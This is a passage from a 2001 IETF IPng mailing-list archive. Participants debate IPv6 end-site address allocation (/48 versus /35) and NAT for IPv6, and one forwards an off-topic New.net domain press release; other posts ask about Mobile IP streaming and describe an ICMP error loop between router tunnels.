saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA10437 for ; Wed, 16 May 2001 07:44:18 -0700 (PDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4GEhAv21161; Wed, 16 May 2001 17:43:11 +0300 Date: Wed, 16 May 2001 17:43:10 +0300 (EEST) From: Pekka Savola To: Robert Elz cc: , Thomas Narten Subject: Re: RIR ISP to end-user address allocation policy? In-Reply-To: <2650.990021113@brandenburg.cs.mu.OZ.AU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 16 May 2001, Robert Elz wrote: > | 2) Apparently IAB/IESG proposal was not taken too seriously > | * With /48 to end-users, the address space would be exhausted; > | this would be only 16 (not really used in assignments) + IPv4 space. > > Huh? > > With allocations at /48, the address space available to be allocated is > 64K times as big as the entire IPv4 address space, and the allocation is > done in units of 1 regardless of how big the organisation is (at least > until it gets VERY huge indeed - bigger than needed to justify a /8 in IPv4 > space - just for the organisation itself, we're not talking about clients > of ISPs here - then it can get 2...) The first 2^16, and more, bits are not being used at the moment, but that's not the point; they will be when needed. The problem is that if dialups, adsl's etc. should be given /48, but the organization is allocated one /48, how do you proceed? Take for example universities offering dialup, or companies doing it for the personnel; you can't argue that these are always a part of the infrastructure, and should be given /64. >From there, we go to a scenario where organization needs /48 for itself and N * /48 (e.g. /35) for other connectivity. However, please note that e.g. 48-35 bits is not that much; organizations doing this would be needing reallocations after reallocations of new addresses. This might lead to an increased size of routing tables as you might not be able to aggregate the prefixes properly. And from Thomas Narten's mail: > Please read all of draft-iesg-ipv6-addressing-recommendations-00.txt > (or wait a day or to for -01) before jumping to conclusions. I believe > all of your issues are discussed there in detail. Ah, thanks for the pointer. This does clarify the recommendation a bit. This states a lot more clearly that the default, unless otherwise stated, should be /48. The RIPE presentation, IMO, reverses this especially for dial-ups. The paper did not discuss the effect of allocating /48's and /35's now (and probably /29..36 in the future) on the routing table sizes; was this deemed a non-issue? You can't fit _that_ many /48's in a /35 that are being allocated now. That might cause aggregation fragmentation as more address space is being asked from RIR's. Perhaps I'm looking a bit too far in the future, imagining every 10th/100th dialup/DSL/etc. user might use IPv6 and want /48; current /35 assignment policy would not be enough for that. Who knows. :-) -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 09:03:44 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GG20u00778 for ipng-dist; Wed, 16 May 2001 09:02:00 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GG1i400768 for ; Wed, 16 May 2001 09:01:44 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA09659 for ; Wed, 16 May 2001 09:01:44 -0700 (PDT) Received: from mercury.ukc.ac.uk (mercury.ukc.ac.uk [129.12.21.10]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA15938 for ; Wed, 16 May 2001 09:01:41 -0700 (PDT) Received: from pelican.ukc.ac.uk ([129.12.200.26]) by mercury.ukc.ac.uk with esmtp (Exim 3.22 #4) id 1503k0-0002AZ-00; Wed, 16 May 2001 17:01:36 +0100 Received: from pccomm4.ukc.ac.uk ([129.12.50.119] helo=ukc.ac.uk) by pelican.ukc.ac.uk with esmtp (Exim 3.22 #3) id 1503k2-0002dJ-00; Wed, 16 May 2001 17:01:38 +0100 Message-ID: <3B02A462.2398AB6D@ukc.ac.uk> Date: Wed, 16 May 2001 17:01:38 +0100 From: Kumarendra Sivarajah X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: mobile-ip@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Mobile IP Streaming Audio/Video Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi I would like to enquire if anyone has information or carried out research on Streaming Audio/Video with Mobile IP. I'd be appreciable if you can provide me with papers or relevant information. Thanks, INdran -- /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ \ Kumarendra Sivarajah (INdran) / / Electronics Engineering Laboratory \ \ University of Kent at Canterbury / / Telephone(Office): +44 (0)1227 823257 \ \ Telephone(Mobile): +44 (0)7765 007016 / \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 09:52:37 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GGpHl01193 for ipng-dist; Wed, 16 May 2001 09:51:17 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GGp4401186 for ; Wed, 16 May 2001 09:51:04 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA24088 for ; Wed, 16 May 2001 09:51:03 -0700 (PDT) Received: from marduk.litech.org (marduk.cs.cornell.edu [128.84.154.54]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA09695 for ; Wed, 16 May 2001 10:51:05 -0600 (MDT) Received: from lutchann (helo=localhost) by marduk.litech.org with local-esmtp (Exim 3.22 #1) id 1504RF-0007a1-00; Wed, 16 May 2001 12:46:17 -0400 Date: Wed, 16 May 2001 12:46:15 -0400 (EDT) From: Nathan Lutchansky To: Pekka Savola cc: Subject: Re: RIR ISP to end-user address allocation policy? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 16 May 2001, Pekka Savola wrote: > Anyone want to start implementing NATv6 for people whose ISP refuses to > give enough addresses to you can't (sub)network your home? > > This is very much related to the ISP discussion here a week or two ago; if > ISP is allowed to assign /128, they probably will. We need NATv6, in order to guarantee that ISPs will make address space available. Here's why. There is some debate between the optimists who argue that address space will be so large and plentiful that ISPs will just hand out /48's to each customer in accordance with IESG recommendations, and the pessimists who argue that ISPs will charge extra for anything they can, and will continue to charge much $$ for address space because that is the situation with IPv4. In the end, the optimists will prevail, for the simple reason of market competition. Not ISPs competing with ISPs, however, but ISPs competing with home-router vendors. The plethora of $100 NAT boxes on the market is ample proof that NAT can work just fine for the average consumer, and at the same time is impossible for ISPs to restrict. The NAT manufacturers want ISPs to continue to be stingy with their IP addresses so they can continue to sell home/SOHO routers, and thus will continue to advertise "Why pay for more than one IP?". On the other hand, the ISPs want to stop NAT use so they can accurately price their service based on expected usage. I would venture to guess that the ISPs will eventually realize that they can't charge more for additional IP addresses because they'll simply drive their customers behind NATs, so they'll start utilitizing large address allocations as an extra service "perk". After a time, this perk will become a standard feature of any ISP service. The odd conclusion of this argument is that we *need* NAT for IPv6, just to keep the ISPs in check. If the IETF takes any measures to make NATv6 infeasible, the IPv4 pricing paradigm will continue, regardless of how available address space becomes. -Nathan -- +-------------------+---------------------+------------------------+ | Nathan Lutchansky | lutchann@litech.org | Lithium Technologies | +------------------------------------------------------------------+ | I dread success. To have succeeded is to have finished one's | | business on earth... I like a state of continual becoming, | | with a goal in front and not behind. - George Bernard Shaw | +------------------------------------------------------------------+ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 10:09:16 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GH7b601276 for ipng-dist; Wed, 16 May 2001 10:07:37 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GH7R401269 for ; Wed, 16 May 2001 10:07:28 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA28640 for ; Wed, 16 May 2001 10:07:26 -0700 (PDT) Received: from mighty.grot.org (mighty.grot.org [216.15.97.5]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAB07102 for ; Wed, 16 May 2001 10:07:25 -0700 (PDT) Received: by mighty.grot.org (Postfix, from userid 998) id CCF835D0F; Wed, 16 May 2001 10:07:16 -0700 (PDT) Date: Wed, 16 May 2001 10:07:16 -0700 From: lists To: Nathan Lutchansky Cc: ipng@sunroof.eng.sun.com Subject: Re: RIR ISP to end-user address allocation policy? Message-ID: <20010516100716.A96050@mighty.grot.org> Reply-To: lists@lists.grot.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from lutchann@litech.org on Wed, May 16, 2001 at 12:46:15PM -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > There is some debate between the optimists who argue that address space > will be so large and plentiful that ISPs will just hand out /48's to each > customer in accordance with IESG recommendations, and the pessimists who > argue that ISPs will charge extra for anything they can, and will continue > to charge much $$ for address space because that is the situation with > IPv4. Except that it's cheaper for the ISP to hand out /48's than to have billing for 2 or more separate sized IP blocks -- as long as getting additional blocks from the RIR is "easy". Stop thinking as if you're still caught in an economy of scarcity...(grin) > The odd conclusion of this argument is that we *need* NAT for IPv6, just > to keep the ISPs in check. If the IETF takes any measures to make NATv6 > infeasible, the IPv4 pricing paradigm will continue, regardless of how > available address space becomes. -Nathan We also expect that NAT won't work for the next wave of killer apps as it doesn't preserve end-to-end semantics. So your argument is half right on as long as the usage of the internet is restricted to current applications (ie. the web as an alternative to TV). Adi -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 10:35:04 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GHXfF01363 for ipng-dist; Wed, 16 May 2001 10:33:41 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GHXW401356 for ; Wed, 16 May 2001 10:33:32 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA11075 for ; Wed, 16 May 2001 10:33:27 -0700 (PDT) Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA27571 for ; Wed, 16 May 2001 10:33:22 -0700 (PDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id NAA13710; Wed, 16 May 2001 13:30:31 -0400 Received: from rotala.raleigh.ibm.com (root@rotala.raleigh.ibm.com [9.37.60.3]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id NAA29862; Wed, 16 May 2001 13:30:30 -0400 Received: from rotala.raleigh.ibm.com (narten@localhost) by rotala.raleigh.ibm.com (8.9.3/8.7/RTP-ral-1.0) with ESMTP id NAA05929; Wed, 16 May 2001 13:28:54 -0400 Message-Id: <200105161728.NAA05929@rotala.raleigh.ibm.com> To: Pekka Savola cc: Robert Elz , ipng@sunroof.eng.sun.com Subject: Re: RIR ISP to end-user address allocation policy? In-Reply-To: Message from Pekka Savola of "Wed, 16 May 2001 17:43:10 +0300." Date: Wed, 16 May 2001 13:28:53 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Ah, thanks for the pointer. This does clarify the recommendation a bit. Good!! > The paper did not discuss the effect of allocating /48's and /35's now > (and probably /29..36 in the future) on the routing table sizes; was this > deemed a non-issue? draft-iesg-ipv6-addressing-recommendations-00.txt focusses pretty much only on the argument for making /48 the normal allocation to end sites. > You can't fit _that_ many /48's in a /35 that are being allocated now. > That might cause aggregation fragmentation as more address space is being > asked from RIR's. This concern is being raised by others, and the registry communities have recently begun discussing whether the /35 boundary should be changed. See the "Next Steps" slide in the presentation you cited earlier (http://www.ripe.net/ripe/meetings/archive/ripe-39/presentations/ipv6develop/sld017.html), for example. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 10:41:28 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GHe1P01402 for ipng-dist; Wed, 16 May 2001 10:40:01 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GHdi401386 for ; Wed, 16 May 2001 10:39:44 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA12470 for ; Wed, 16 May 2001 10:39:43 -0700 (PDT) Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA17302 for ; Wed, 16 May 2001 11:38:58 -0600 (MDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id NAA29398; Wed, 16 May 2001 13:37:02 -0400 Received: from rotala.raleigh.ibm.com (root@rotala.raleigh.ibm.com [9.37.60.3]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id NAA21220; Wed, 16 May 2001 13:37:02 -0400 Received: from rotala.raleigh.ibm.com (narten@localhost) by rotala.raleigh.ibm.com (8.9.3/8.7/RTP-ral-1.0) with ESMTP id NAA05958; Wed, 16 May 2001 13:35:25 -0400 Message-Id: <200105161735.NAA05958@rotala.raleigh.ibm.com> To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: RIR ISP to end-user address allocation policy? In-Reply-To: Message from Thomas Narten of "Wed, 16 May 2001 13:28:53 EDT." Date: Wed, 16 May 2001 13:35:25 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thomas Narten writes: > This concern is being raised by others, and the registry communities > have recently begun discussing whether the /35 boundary should be > changed. See the "Next Steps" slide in the presentation you cited > earlier > (http://www.ripe.net/ripe/meetings/archive/ripe-39/presentations/ipv6develop/sld017.html), > for example. Note also, that if you want to follow these discussions more closely, you might want to get on the appropriate RIR mailing lists. For example, see: http://www.ripe.net/ripe/wg/ipv6/index.html http://www.arin.net/members/mailing.htm (and go to the IPv6 entry at the bottom). http://www.apnic.net/wilma-bin/wilma/sig-ipv6 (though it has had almost no traffic) Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 10:52:30 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GHpFA01453 for ipng-dist; Wed, 16 May 2001 10:51:15 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GHp6401446 for ; Wed, 16 May 2001 10:51:06 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA15047 for ; Wed, 16 May 2001 10:51:05 -0700 (PDT) Received: from pimout1-int.prodigy.net (pimout1-ext.prodigy.net [207.115.63.77]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA10600 for ; Wed, 16 May 2001 10:51:04 -0700 (PDT) Received: from jim (nas-147-187.chicago-n.navipath.net [64.20.147.187]) by pimout1-int.prodigy.net (8.11.0/8.11.0) with SMTP id f4GHovr145330; Wed, 16 May 2001 13:50:57 -0400 From: "JIM FLEMING" To: "Thomas Narten" , "Pekka Savola" Cc: Subject: RE: RIR ISP to end-user address allocation policy? Date: Wed, 16 May 2001 12:51:59 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <200105161735.NAA05958@rotala.raleigh.ibm.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk You might have missed this... Time for a celebration....it's OVER !!!!.... ...good-bye ICANN.....and IPv6 allocations... ------------- Prodigy® joins New.net's Team of ISP Partners New.net's Current ISP and Download Agreements to Cover 43% of U.S. Internet Users by September Pasadena, Calif. — May 14, 2001 — New.net (http://www.new.net), a domain name registry created to meet the market demand for Web addresses with logical, easy-to-remem ber extensions, today announced an agreement with Prodigy Communications (NASDAQ: PRGY), a leading U.S. Internet service provider (I SP), that will increase the number of ISP accounts with access to New.net domains by more than three million. New.net offers Prodigy customers access to new top-level domains (TLDs) such as .shop, .mp3, .inc, .kids, .sports, .family, .chat, .video, .club, .hola, .soc, .med, .law, .travel, .game, .free, .ltd, .gmbh, and .tech. New.net has developed a proprietary approach, using software technology deployed at either the network level by partner ISPs or on individual PCs, to add new TLDs to the existing Internet naming system. "Prodigy was one of the early pioneers in providing Internet service and is once again taking an industry-leading position," said David Hernand, CEO of New.net. "Their participation will help significantly in our effort to drive adoption of New.net domain names." As part of the agreement with Prodigy, New.net will create a co-branded domain name registration site where Prodigy customers will be able to purchase Web addresses that use the new extensions. "New.net helps satisfy our customers' demand for shorter, more descriptive domain names that they can use," said Gregory G. Williams, chief operating officer of Prodigy. "Our partnership with New.net provides a great and timely customer benefit for Prodigy members." This new agreement adds to the growing base of Internet users who can reach Web sites with New.net domain names. Combining those who are customers of partner ISPs and those who receive the company's plug-in software via a download partner, New.net estimates that the number of unique Internet users in the U.S. who will have access to these new domains in May 2001 will be approximately 42 million growing to 54 million by September 2001. These users represent 34 percent of the U.S. Census Bureau's estimate of total Internet users in May, growing to 43 percent in September. Prodigy is the latest to join New.net's current set of high-profile ISP partners: Earthlink (NASDAQ: ELNK), NetZero (NASDAQ: NZRO), Juno (NASDAQ: JWEB) and Excite@Home (NASDAQ: ATHM). New.net will continue to develop strategic partnerships with ISPs of all sizes to expand the availability of the new names at the network level. ISPs that wish to add the ability to view the New.net domains can find instructions as well as system software download instructions by visiting www.new.net. Web users who do not use one of the partner ISPs can activate their Internet browsers to recognize the new domain names in a few seconds by visiting the same site. New.net will continue to develop strategic partnerships with ISPs of all sizes to continue to expand the ava ilability of the new names at the network level. ISPs that wish to add the ability to view the New.net domains can find instruction s by visiting www.new.net. Web users who do not use one of the partner ISPs can activate their Internet browsers to recognize the n ew domain names in a few seconds by visiting the same site. About Prodigy Communications Corporation (www.prodigy.com): Prodigy Communications Corporation (NASDAQ: PRGY) is one of the nation's largest Internet service providers serving both owned and managed Dial and DSL subscribers. With its alliance with SBC Communications, Prodigy is the industry leader in serving DSL subscribers. Prodigy delivers fast and reliable Internet access and user-friendly Internet-based products, services and information via a nationwide network covering more than 850 locations in all 50 states, allowing more than 90 percent of the U.S. population to access Prodigy's Dial service with a local telephone call. Prodigy features superior content, e-mail and e-mail attachment capabilities, Prodigy Instant Messaging™, Prodigy Chat™, and Prodigy Online Communities, combined with the accessibility and freedom of direct access to the World Wide Web for all users. ProdigyBiz offers a powerful suite of specially designed Internet products and services for small business owners. Prodigy® en Espanol™, is the nation's first-ever, fully bilingual Spanish/English-language Internet service created especially for the U.S. Spanish-speaking population. About New.net New.net (http://www.new.net) is building the Internet's leading market-driven domain name registry business by selling domain names with logical, easy-to-remember top-level domain extensions that make the Internet easier to navigate. Based in Pasadena, California, the company was started in May 2000 by idealab!, a leading Internet incubator. Since that time, New.net has developed proprietary technology that allows its domain-naming system to exist alongside the traditional naming systems currently in use on the Internet. Jim Fleming http://www.unir.com http://www.unir.com/images/architech.gif http://www.unir.com/images/address.gif http://www.unir.com/images/headers.gif -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Thomas Narten Sent: Wednesday, May 16, 2001 12:35 PM To: Pekka Savola Cc: ipng@sunroof.eng.sun.com Subject: Re: RIR ISP to end-user address allocation policy? Thomas Narten writes: > This concern is being raised by others, and the registry communities > have recently begun discussing whether the /35 boundary should be > changed. See the "Next Steps" slide in the presentation you cited > earlier > (http://www.ripe.net/ripe/meetings/archive/ripe-39/presentations/ipv6develop /sld017.html), > for example. Note also, that if you want to follow these discussions more closely, you might want to get on the appropriate RIR mailing lists. For example, see: http://www.ripe.net/ripe/wg/ipv6/index.html http://www.arin.net/members/mailing.htm (and go to the IPv6 entry at the bottom). http://www.apnic.net/wilma-bin/wilma/sig-ipv6 (though it has had almost no traffic) Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 15:52:37 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GMpPl02224 for ipng-dist; Wed, 16 May 2001 15:51:26 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GMpE402217 for ; Wed, 16 May 2001 15:51:14 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA28747 for ; Wed, 16 May 2001 15:51:14 -0700 (PDT) Received: from marduk.litech.org (marduk.cs.cornell.edu [128.84.154.54]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA22078 for ; Wed, 16 May 2001 15:51:09 -0700 (PDT) Received: from lutchann (helo=localhost) by marduk.litech.org with local-esmtp (Exim 3.22 #1) id 150A8I-0006En-00; Wed, 16 May 2001 18:51:06 -0400 Date: Wed, 16 May 2001 18:51:06 -0400 (EDT) From: Nathan Lutchansky To: lists cc: "ipng@sunroof.eng.sun.com" Subject: Re: RIR ISP to end-user address allocation policy? In-Reply-To: <20010516100716.A96050@mighty.grot.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 16 May 2001, lists wrote: > > There is some debate between the optimists who argue that address space > > will be so large and plentiful that ISPs will just hand out /48's to each > > customer in accordance with IESG recommendations, and the pessimists who > > argue that ISPs will charge extra for anything they can, and will continue > > to charge much $$ for address space because that is the situation with > > IPv4. > > Except that it's cheaper for the ISP to hand out /48's than to have billing > for 2 or more separate sized IP blocks -- as long as getting additional blocks > from the RIR is "easy". Stop thinking as if you're still caught in an economy > of scarcity...(grin) Heh. OK, so if the registries all agree that giving each customer a /48 whether they want it or not is a good use of address space, then I'm sure that's the path the ISPs will take. But as Dan Lanciani points out, ISPs could easily filter out (2^48 - n) IP addresses in your /48, where n is proportional to your monthly bill. Regardless of how it is enforced, it is a question of whether the restriction exists at all. > > The odd conclusion of this argument is that we *need* NAT for IPv6, just > > to keep the ISPs in check. If the IETF takes any measures to make NATv6 > > infeasible, the IPv4 pricing paradigm will continue, regardless of how > > available address space becomes. -Nathan > > We also expect that NAT won't work for the next wave of killer apps as it > doesn't preserve end-to-end semantics. So your argument is half right on as > long as the usage of the internet is restricted to current applications (ie. > the web as an alternative to TV). I agree that NAT breaks a lot of things. But I still maintain that the software will always kludge around it, even if that takes a very ugly kludge. In particular, SIP has a lot of workarounds for NATs and other firewalls, and I would expect that many of the future end-to-end killer apps will be based on it. -Nathan -- +-------------------+---------------------+------------------------+ | Nathan Lutchansky | lutchann@litech.org | Lithium Technologies | +------------------------------------------------------------------+ | I dread success. To have succeeded is to have finished one's | | business on earth... I like a state of continual becoming, | | with a goal in front and not behind. - George Bernard Shaw | +------------------------------------------------------------------+ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 16:19:20 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GNI9p02276 for ipng-dist; Wed, 16 May 2001 16:18:09 -0700 (PDT) Received: from locked.eng.sun.com (locked [129.146.85.189]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GNH8402254; Wed, 16 May 2001 16:17:08 -0700 (PDT) Received: (from mohanp@localhost) by locked.eng.sun.com (8.11.2+Sun/8.11.2) id f4GNFo901406; Wed, 16 May 2001 16:15:50 -0700 (PDT) From: Mohan Parthasarathy Message-Id: <200105162315.f4GNFo901406@locked.eng.sun.com> Subject: ICMP errors in response to ICMP errors. To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com Date: Wed, 16 May 2001 16:15:50 -0700 (PDT) CC: mohanp@eng.sun.com X-Mailer: ELM [version 2.4ME+ PL66 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, I am sending to both the lists as it may be relevant. It seems that forwarding packets between two tunnels (either IPv4 over IPv4 or IPv6 over IPv6 or IPv6 over IPv4 tunnels ) can cause unneeded exchange of packets till the ttl becomes zero. Following is the sequence and wondering whether the RFCs that deal with this should clarify : There are two tunnels A and B on a router. Assume packet enter tunnel A and get forwarded out of tunnel B. Let's assume IPv6 over IPv4 tunnel. 1) Packet enters tunnel A, decapsulated and gets forwarded over tunnel B where the packet is encapsulated in IPv4. 2) There is no route for this IPv4 packet as determined by the IPv4 routing table. An ICMPv4 error is generated. 3) The ICMPv4 error is converted to an ICMPv6 error so that it can be sent to the original IPv6 sender. 4) This gets forwarded over tunnel A where the ICMPv6 error gets encapsulated in IPv4. 5) There is no route for this IPv4 packet [which is actually an ICMPv6 error] as determined by the IPv4 routing table. An ICMPv4 error is generated. 6) The ICMPv4 error is converted to an ICMPv6 error so that it can be sent to the original IPv6 sender [router itself]. Note that step (5) and step (6) are the similar to step (2) and (3) and will continue forever till the ttl drops to zero. At step (5) we are generating an ICMPv4 error for the ICMPv6 error. At step (6) we are generating an ICMPv6 error for the ICMPv6 error. Should step (5) or step (6) detect this and drop the packet ? Does any implementation handle this case ? Should this be clarified in the relevant RFCs ? -mohan -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 16:37:01 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GNZrJ02315 for ipng-dist; Wed, 16 May 2001 16:35:53 